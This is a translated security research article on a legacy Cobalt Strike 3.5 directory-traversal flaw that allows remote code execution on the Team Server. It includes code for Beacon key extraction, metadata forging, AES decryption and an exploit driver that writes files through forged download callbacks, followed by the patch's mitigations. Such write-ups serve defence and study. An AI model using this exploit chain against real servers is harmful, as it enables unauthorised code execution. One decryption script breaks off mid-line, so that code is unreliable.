对红队利器Cobalt Strike一个历史遗留漏洞的研究
2020-07-09 12:00:00 Author: www.4hou.com(查看原文) 阅读量:473 收藏

0x01 基本信息

这篇文章介绍了Beacons和3.5系列中的Team Server之间Cobalt Strike的一些通信和加密内部结构。然后,我们探索了从2016年起对Cobalt Strike 3.5中的漏洞的后续利用,以在Team Server上实现远程未经身份验证的代码执行。

我们希望这篇文章将帮助Blue Teams进行防御检测,并更好地理解支持Cobalt Strike的加密基础知识。

对于Red Team,我们提供了一个示例,说明为什么加强你的Command and Control基础结构很重要。

在Cobalt Strike中,修复了多个版本中存在的漏洞:

· Cobalt Strike<= 3.5

· Cobalt Strike 3.5-hf1(针对在野漏洞利用链的热补丁程序)

· Cobalt Strike 3.5-hf2

该漏洞由Cobalt Strike的团队于2016年披露,并于9月得到了积极利用迅速以3.5.1的版本发布补丁

0x02 从 Beacon 开始

Beacon是下载Beacon(DLL)shellcode blob的过程,该过程将通过较小的shellcode下载程序执行-通常是漏洞利用程序或删除程序文档的结果。这里的目的是解决受大小限制的漏洞利用,例如,由于缓冲区溢出或类似情况,你只有一定数量的空间来保存你的shellcode。就是说,从红队作战的角度来看,在可能的情况下,始终首选全阶段(也称为无阶段)有效载荷。

默认情况下,Cobalt Strike支持Meterpreter暂存协议,并通过checksum8格式公开其暂存器URL 。

微信截图_20200708143830.png

通过Checksum8检索stager

从Cobalt Strike 3.5.1开始,你现在还可以使用“ host_stage = false ”设置完全禁用下载。在此文章中讨论的漏洞的官方修补程序之后,此功能作为一项功能添加。

下载暂存器shellcode后,在执行传递到解码的BeaconDLL之前,将使用自定义XOR编码器对其余的shellcode进行解码。所用的XOR编码器将不在本文中讨论,因为这是Cobalt Strike许可版本的功能。

从暂存器Blob中提取DLL之后,可以使用固定的XOR密钥0x69提取Beacon设置以及公共密钥。这是SentinelOne团队最近发布的,该团队发布了CobaltStrikeParser工具。

0x03 Cobalt Strike  Beacon 的内部通信

解码并执行后,Beacon随后需要与Team Server通信。在构建漏洞payload之前,这涉及我们需要了解的各种Cobalt Strike通信和加密内部。

Beacon载入

每当Beacon载入时,它都会发送一个加密的元数据blob。这是使用从下载程序提取的RSA公钥加密的。为了帮助调试,你可能还希望从Team Server中转储RSA私钥。

这可以通过在Team Server上运行以下Java代码来实现。私钥在名为“ .cobaltstrike.beacon_keys”的文件中序列化,该文件与Team Server文件位于同一文件夹中。

要编译/运行此代码,你需要将你的类路径设置为cobaltstrike.jar文件(例如-cp cobaltstrike.jar)

 import java.io.File;
 import java.util.Base64;
 import common.CommonUtils;
 import java.security.KeyPair;
 
 class DumpKeys
 {   
     public static void main(String[] args)
     {
         try {
             File file = new File(".cobaltstrike.beacon_keys");
             if (file.exists()) {
                 KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
                 System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
                 System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
             }
             else {
                 System.out.println("Could not find .cobaltstrike.beacon_keys file");
             }
         }
         catch (Exception exception) {
            System.out.println("Could not read asymmetric keys");
         }
     }
 }

运行时,输出将如下所示:

2.png转储密钥

应该注意的是,这完全只是为了在编写漏洞利用程序时进行调试。在现实世界中,由于密钥是通过RSA安全协商的,而Beacon只有公共密钥,因此无法解密现有的 Beacon通信。但是,如果你拥有公钥(可以通过checksum8下载URL检索到),则可以通过伪会话对任务进行加密和解密。

Beacon通信加密和元数据

加密,解密和结构

来自Beacon的元数据根据可延展的C2配置文件中的设置发送。这允许操作者自定义流量的各种属性,例如元数据blob的发送位置(例如,在标头或cookie中)以及如何对其进行编码。以下是来自Cobalt Strike博客示例。

 https://www.cobaltstrike.com/help-malleable-c2

在此示例中,将以Base64编码将元数据发送为名为“user”的Cookie。

 Malleable C2 Config
 http-get {
    set uri "/foobar";
     client {
        metadata {
           base64;
           prepend "user=";
           header "Cookie";
     }
 }

以下HTTP请求捕获显示了发送给Base64的Cookie头中的Base64编码的元数据blob,这是默认设置:

http-checkin.png

Beacon元数据加密使用带有PKCS1填充的RSA,以下是Python中使用暂存器公钥加密Beacon元数据的示例:

 import M2Crypto
 import base64
 import binascii
 PUBKEY_TEMPLATE = "-----BEGIN PUBLIC KEY-----\n{}\n-----END PUBLIC KEY-----"
 plaintext = "0000BEEF00000056D48A3A7104FC17544D5A3752C6EEAED4E404B5015FAD878000000A0000000431302E30093139322E3136382E3230302E313031094445534B544F502D3337325251544D0961646D696E0972756E646C6C33322E657865"
 buf = M2Crypto.BIO.MemoryBuffer(PUBKEY_TEMPLATE.format('MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhOfC4TICevrbgiUVK5kmvU8aNQNiCfccHxIOV4wzjOn5DpaC49NLoKMsS2fVnMI/f+cbyuqfrXMYmUX8eZDWkmflrBFNOPG8hr8oqhm1EiIvK9S+CsOuLGsEOmefqYk+Gj1nfnJ1uO9ELRv1U+OhmQ77w4u0AZWHPSNr1STYhZQIDAQAB'))
 pubkey = M2Crypto.RSA.load_pub_key_bio(buf)
 ciphertext = pubkey.public_encrypt(binascii.unhexlify(plaintext), M2Crypto.RSA.pkcs1_padding)
 print (base64.b64encode(ciphertext))

解密后(使用从测试团队服务器中提取的私钥),元数据如下所示:

3.png解密的元数据Blob

所有解密的元数据blob都以8字节为前缀,该字节必须始终存在。这8个字节是magic 48879(0xBEEF),后跟数据大小:

4.png

Beacon元数据结构

因此,我们现在可以加密/解密元数据,现在进入解析。

Beacon元数据解析

以下Python代码显示了如何分析来自Cobalt StrikeBeacon的元数据。在Cobalt Strike<4.0上,元数据字段(除了前16个字节之外)由制表符分隔的字符串组成。这导致IP地址被视为(未经完整性检查)字符串,在版本3.5中会导致目录遍历问题。但是,在更高版本上,使用正则表达式验证IP地址字段以确保它确实是有效的IP地址。

请注意,这在Cobalt Strike 4.0中有所更改,其中添加了许多新字段。下面的代码涵盖3.5和4.0版本。

 import M2Crypto
 import requests
 
 PRIVATE_KEY_TEMPLATE = "-----BEGIN PRIVATE KEY-----\n{}\n-----END PRIVATE KEY-----"
 PUBLIC_KEY_TEMPLATE = "-----BEGIN PUBLIC KEY-----\n{}\n-----END PUBLIC KEY-----"
 
 class Metadata(object):
     """
     Class to represent a beacon Metadata object
     """
     def __init__(self, data="", private_key="", public_key="", cs_version=4):
         self.cs_version = cs_version
         self.data = data
         self.public_key = public_key
         self.private_key = private_key
         self.port = 0
         self.ciphertext = ""
         self.charset = ""
         self.charset_oem = ""
         self.ver = ""
         self.intz = ""
         self.comp = ""
         self.user = ""
         self.pid = ""
         self.bid = ""
         self.barch = ""
         self.raw_aes_keys = ""
         self.aes_key = ""
         self.hmac_key = ""
         self.is64 = False
         self.high_integrity = False
 
         if data and len(data) != 128:
             raise AttributeError('Metadata should be 128 bytes')
 
         if data and private_key:
             self.rsa_decrypt()
             self.unpack()
 
     def calculate_aes(self):
         h = hashlib.sha256(self.raw_aes_keys)
         digest = h.digest()
         self.aes_key = digest[0:16]
         self.hmac_key = digest[16:]
 
     def rsa_decrypt(self):
         pkey = M2Crypto.RSA.load_key_string(PRIVATE_KEY_TEMPLATE.format(self.private_key))
         plaintext = pkey.private_decrypt(self.data, M2Crypto.RSA.pkcs1_padding)
         assert plaintext[0:4] == '\x00\x00\xBE\xEF'
         self.data = StringIO.StringIO(plaintext[8:])
 
     def readInt(self, byteorder='>'):
         fmt = byteorder + 'L'
         return struct.unpack(fmt, self.data.read(struct.calcsize(fmt)))[0]
 
     def readShort(self, byteorder='>'):
         fmt = byteorder + 'H'
         return struct.unpack(fmt, self.data.read(struct.calcsize(fmt)))[0]
 
     def readByte(self):
         fmt = 'b'
         return struct.unpack(fmt, self.data.read(struct.calcsize(fmt)))[0]
 
     def flag(self, b, s):
         return b & s == s
 
     def print_config(self):
         print "raw AES key: %s" % self.raw_aes_keys[0:8].encode('hex')
         print "raw HMAC key: %s" % self.raw_aes_keys[8:].encode('hex')
         print "AES key: %s" % self.aes_key.encode('hex')
         print "HMAC key: %s" % self.hmac_key.encode('hex')
         print "ver: %s" % self.ver
         print "host: %s" % self.intz
         print "computer: %s" % self.comp
         print "user: %s" % self.user        
         print "pid: %s" % self.pid
         print "id: %s" % self.bid
         print "barch: %s" % self.barch
         print "is64: %s" % self.is64
 
         if self.cs_version > 3:
             print "charset: %s" % self.charset
             print "port: %s" % self.port
 
     def unpack(self):
         self.data.seek(0)
         self.raw_aes_keys = self.data.read(16)
         self.calculate_aes()
 
         if self.cs_version < 4:           
             config = self.data.read().split('\t')
             self.bid = config[0]
             self.pid = config[1]
             self.ver = config[2]
             self.intz = config[3]
             self.comp = config[4]
             self.user = config[5]
             self.is64 = config[6]
             if config[7] == '1':
                 self.barch = 'x64'
             else:
                 self.barch = 'x86'
             return
 
         self.charset = self.readShort('<')
         self.charset_oem = self.readShort('<')
         self.bid = self.readInt()
         self.pid = self.readInt()
         self.port = self.readShort()        
         b = self.readByte()
        
         if self.flag(b, 1):
             self.barch = ""
             self.pid = ""
             self.is64 = ""
         elif self.flag(b, 2):
             self.barch = "x64"
         else:
             self.barch = "x86"
 
         self.is64 = int(self.flag(b, 4))
         self.high_integrity = self.flag(b, 8)
         self.ver, self.intz, self.comp, self.user, self.proc = self.data.read().split('\t')

当解析器在解密的元数据blob上运行时,将产生以下输出:

5.png

元数据解析

现在,我们有足够的信息来生成和加密我们自己的元数据。

对称加密

Cobalt Strike使用CBC模式下的AES-256和HMAC-SHA-256进行任务加密。对于存在该漏洞的Cobalt Strike版本,该版本已包含在试用版中,但是从3.6版开始,在未经许可的Cobalt Strike版本中不再启用此功能。这意味着,对于受害者使用的某些Cobalt Strike破解版或试用版,网络通信将以明文形式发送。但是,当我们查看3.6之前的版本时,始终启用任务加密。

解析完元数据后,Team Server将通过检查元数据中指定的AES密钥是否已经为BeaconID值注册(也从元数据中进行了解析)来检查该Beacon是否是新的Beacon。

如果先前未为BeaconID注册任何AES密钥,则它将继续并为Beacon会话设置AES密钥。这是通过获取解密的Beacon元数据的前16个字节来实现的。通过计算SHA256总和以创建256位密钥,将其前半部分(8个字节)用于导出AES密钥。下半部分用作HMAC密钥也是如此。你可能已经在上面的输出中注意到了这些解析。这些密钥可用于任务加密和解密。

以下Python脚本显示了AES加密/解密的工作方式。

 import hashlib
 import hmac
 import binascii
 import base64
 import sys
 import struct
 from Crypto.Cipher import AES
 
 HASH_ALGO = hashlib.sha256
 SIG_SIZE = HASH_ALGO().digest_size
 
 class AuthenticationError(Exception):
    pass
 
 def compare_mac(mac, mac_verif):
    if len(mac) != len(mac_verif):
       print "invalid MAC size"
       return False
 
    result = 0
 
    for x, y in zip(mac, mac_verif):
       result |= ord(x) ^ ord(y)
 
    return result == 0
 
 def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
    if not compare_mac(hmac.new(hmac_key, encrypted_data, HASH_ALGO).digest()[0:16], signature):
       raise AuthenticationError("message authentication failed")
 
    cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
    data = cypher.decrypt(encrypted_data)
    return data
 
 def readInt(buf):
    return buf[4:], struct.unpack('>L', buf[0:4])[0]
 
 if __name__ == "__main__":
    SHARED_KEY = binascii.unhexlify("441bbd3de3d52997298a8625def8f40c")
    HMAC_KEY = binascii.unhexlify("1ede48669d4346c0b0cf2ca15e498c10")
    with open(sys.argv[1], 'rb') as f:
       enc_data = f.read()
       signature = enc_data[-16:]
       iv_bytes = bytes("abcdefghijklmnop")
       encrypted_data = enc_data[:-16]
       dec = decrypt(encrypted_dat

Beacon任务

到目前为止,我们已经介绍了分段,元数据,载入,非对称(RSA)和对称(AES)加密。现在,我们可以暂存假Beacon,并解密从Team Server发送到Beacon的任务。接下来,我们将介绍如何将Beacon输出解密/加密回Team Server。

Beacon载入后(通过在请求中包括我们先前覆盖的加密元数据),如果Team Server拥有Beacon任务,它将以加密响应的形式发送。如前所述,这是使用协商的AES会话密钥解密的。

对任务分配的反应是什么样的?简而言之,该响应也以与从服务器发送任务相同的方式用AES加密,但是Beacon响应数据前面带有一个长度字段。

以下图片显示了Beacon响应“ ps”任务发送的加密数据的示例:

6.png加密回包响应

解密数据后,我们可以看到它前面有12个字节,表示输出的各种属性。

 00 00 00 02 <- Counter (has to be higher than the previous one)
 00 00 0D 1B <- Size of the data
 00 00 00 11 <- Type of callback (in this case it's 17, which is OUTPUT_PS)
 5B 53 79 73 <- Data of size 0xD1B
 74 65 6D 20

以下python代码显示了如何解密和解码Beacon输出

 # NOTE: insert decryption functions
 
 if __name__ == "__main__":
    SHARED_KEY = binascii.unhexlify("bca4caea1b3172aa979a5eac6c813184")
    HMAC_KEY = binascii.unhexlify("94b64efcf87b13c6828bcf14373bb2f9")
    with open(sys.argv[1], 'rb') as f:
        enc_data = f.read()
    encrypted_data, data_length = readInt(enc_data)
    print "Encrypted data should be: %d" % data_length
    signature = encrypted_data[-16:]
    iv_bytes = "abcdefghijklmnop"
    encrypted_data = encrypted_data[:-16]
    dec = decrypt(encrypted_data, iv_bytes, signature, SHARED_KEY, HMAC_KEY)
    dec, counter = readInt(dec)
    dec, decrypted_length = readInt(dec)
    dec, output_type = readInt(dec)
    print "Decrypted length: %s" % decrypted_length
    print "Output type: %d" % output_type
    print "Beacon data: %s" % dec

运行以下代码将解密输出,并显示“ ps”命令的结果:

7.png

解密Beacon输出

因此,在这一点上,我们可以提取所需的密钥,对通信进行加密和解密,以进行漏洞利用。

0x04 漏洞分析

该漏洞本身是Beacon内部IP地址中的目录遍历漏洞,该漏洞用于构建文件路径。

https://blog.cobaltstrike.com/2016/09/28/cobalt-strike-rce-active-exploitation-reported/

在处理“下载”响应时,Team Server将通过在工作目录内“ downloads”文件夹下的Team Server文件系统上重新创建目标系统路径,将这些响应写入文件系统。以下截图显示了通常情况下的示例。如图所示,下载的文件存储在以Beacon IP地址命名的文件夹中。在此文件夹中是下载文件的重新创建的文件系统结构。

8.png

CS 3.5 download文件夹

尽管对文件名本身进行了遍历检查,但并未检查IP地址字段,这是由于IP地址字段中存在目录遍历漏洞,正如我们之前所演示的那样,该漏洞是在Beacon元数据中设置并由攻击者控制的。

因此,我们不再报告截至10.133.37.10的Beacon IP地址,而是将其报告为目标文件夹,例如../../../../etc/。

注意:易受攻击的代码使用IP地址值在其他各个地方(包括写入日志文件)构建文件路径。尽管日志文件投毒绝对是一个可利用的方法,但我们选择使用与流行的利用相同的方法。

0x05 漏洞利用开发

通常针对基于Linux的服务器使用文件系统写入原语,这为我们提供了多种利用方式。我们复制了在野利用开发中使用的相同技术,即:

· 使用内部IP地址为../../../../../[TARGET_FOLDER]/的Beacon载入

· 然后执行DOWNLOAD_START *回调,该回调导致文件被创建

· 然后执行DOWNLOAD_WRITE *回调,使内容被写入

可能不是官方术语,但是我们将在此处使用这些术语来指代任务响应类型。其中,DOWNLOAD_START是来自“下载”任务的初始响应(这将导致在文件系统上创建文件),而DOWNLOAD_WRITE是包含要为下载任务写入的数据的响应。

但是,在执行此操作之前,我们需要了解DOWNLOAD_START和DOWNLOAD_WRITE回调的结构。如前所述,我们知道这些文件是AES加密的,带有加密长度,并且一旦解密就具有计数器和长度。但是解密后的数据的结构是什么?下面对此进行说明。

DOWNLOAD_START回调结构。

该任务的回调类型为2,解密的回调结构如下:

11.png

DOWNLOAD_WRITE回调结构

该任务的回调类型为8,解密的回调结构如下:

22.png

为了真正实现代码执行,我们像在在野攻击一样编写了一个cronjob。通常,这将涉及在元数据Blob和任务回调中发送以下值:

33.png

假设我们已经编写了用于构建元数据blob(具有IP地址遍历字符串)和选择的AES密钥的函数。我们可以伪造Beacon,并使用我们精心制作的值检入DOWNLOAD_START和DOWNLOAD_WRITE回调。示例代码如下:

 # First we need to register a beacon with a directory traversal in the ip address field
     ip_address = "../../../../../../%s" % os.path.split(args.filepath)[0]
 
     # Generate symmetric keys (used later)
     raw_aes_keys = os.urandom(16)
     aes_key, hmac_key = generate_keys(raw_aes_keys)
 
     m = Metadata(public_key=args.public_key, cs_version=3)
     m.public_key = args.public_key
     m.bid = args.bid
     m.pid = args.pid
     m.ver = "10.0"
     m.intz = ip_address
     m.comp = args.computer
     m.user = args.username
     m.is64 = '1' # 64-bit OS
     m.barch = '1' # 64-bit beacon
     m.raw_aes_keys = raw_aes_keys
     m.calculate_aes()
     enc = m.pack()    
 
     # register the beacon
     print "[*] Staging beacon .."
     register_beacon(enc, args.target, args.uri, args.host, args.ssl)
 
     # Now we need to push a DOWNLOAD_START response to cause a file write
     print "[*] Creating file .."
     data, fid = build_download_task(os.path.split(args.filepath)[1], aes_key, hmac_key)
 
     # Send it to the server. This is the equivalent of touch(filepath)
     # submit.php should be replaced with malleable C2 setting if applicable
     beacon_checkin(args.target, 'submit.php', data, args.bid, args.host, args.ssl)
 
     # Build another task which is going to write the data to the touched file
     # We force the counter to be higher than the last task to avoid replay protection
     print "[*] Sending data .."
     data = build_download_data(args.filedata, fid, aes_key, hmac_key, counter()+100)
 
     # Fire it..
     beacon_checkin(args.target, 'submit.php', data, args.bid, args.host, args.ssl)
     print "[+] Done!"

以下视频演示了该漏洞的利用效果:

 https://videos.files.wordpress.com/8DjSHoub/cs-3-5-exploit_dvd.mp4

0x06 缓解措施

如Cobalt Strike的后续帖子所述,在3.5.1中添加了以下修复程序

· 引入了一个新的SafeFile方法,该方法将应写入文件的路径作为第一个参数,并将要写入的文件名作为第二个参数。随后,它确保在规范化之后,文件不会脱离在第一个参数中传递的规范化路径。在执行文件写入的任何地方都将使用此新方法,包括写入日志文件和截图。

· 添加了host_stage可延展的C2配置设置。设置为false时,这将完全禁用payload下载,这意味着你的Team Server将不会通过checksum8 URL托管下载器。每当不需要payload分段时都应使用此方法,但是应注意,这可能会破坏你可能习惯的某些利用后工作流程。

· 现在,使用ID值将下载存储在文件系统上。这映射到数据模型中的实际文件路径,这是通过Cobalt Strike GUI访问“下载”选项卡时看到的。

· 现在,在允许来自Beacon的大多数回调响应之前,Team Server会至少检查一次Beacon任务。这样可以确保攻击者在操作者未与Beacon进行交互之前就无法伪造Beacon并开始欺骗响应。

· 根据正则表达式对在Beacon元数据中报告的IP地址值进行完整性检查,以确保它实际上是IP地址。

总而言之,3.5.1更新中应用的修复程序很健壮,可以从多个角度修补漏洞。如文章开始所述,此漏洞在旧 版本的Cobalt Strike中存在,而在最新版本中不存在。尽管如此,我们希望这篇文章对Cobalt Strike内部有一定的了解,并为蓝队和红队提供了改善与真正对手的战斗的机会。

本文翻译自:https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/qD87
如有侵权请联系:admin#unsafe.sh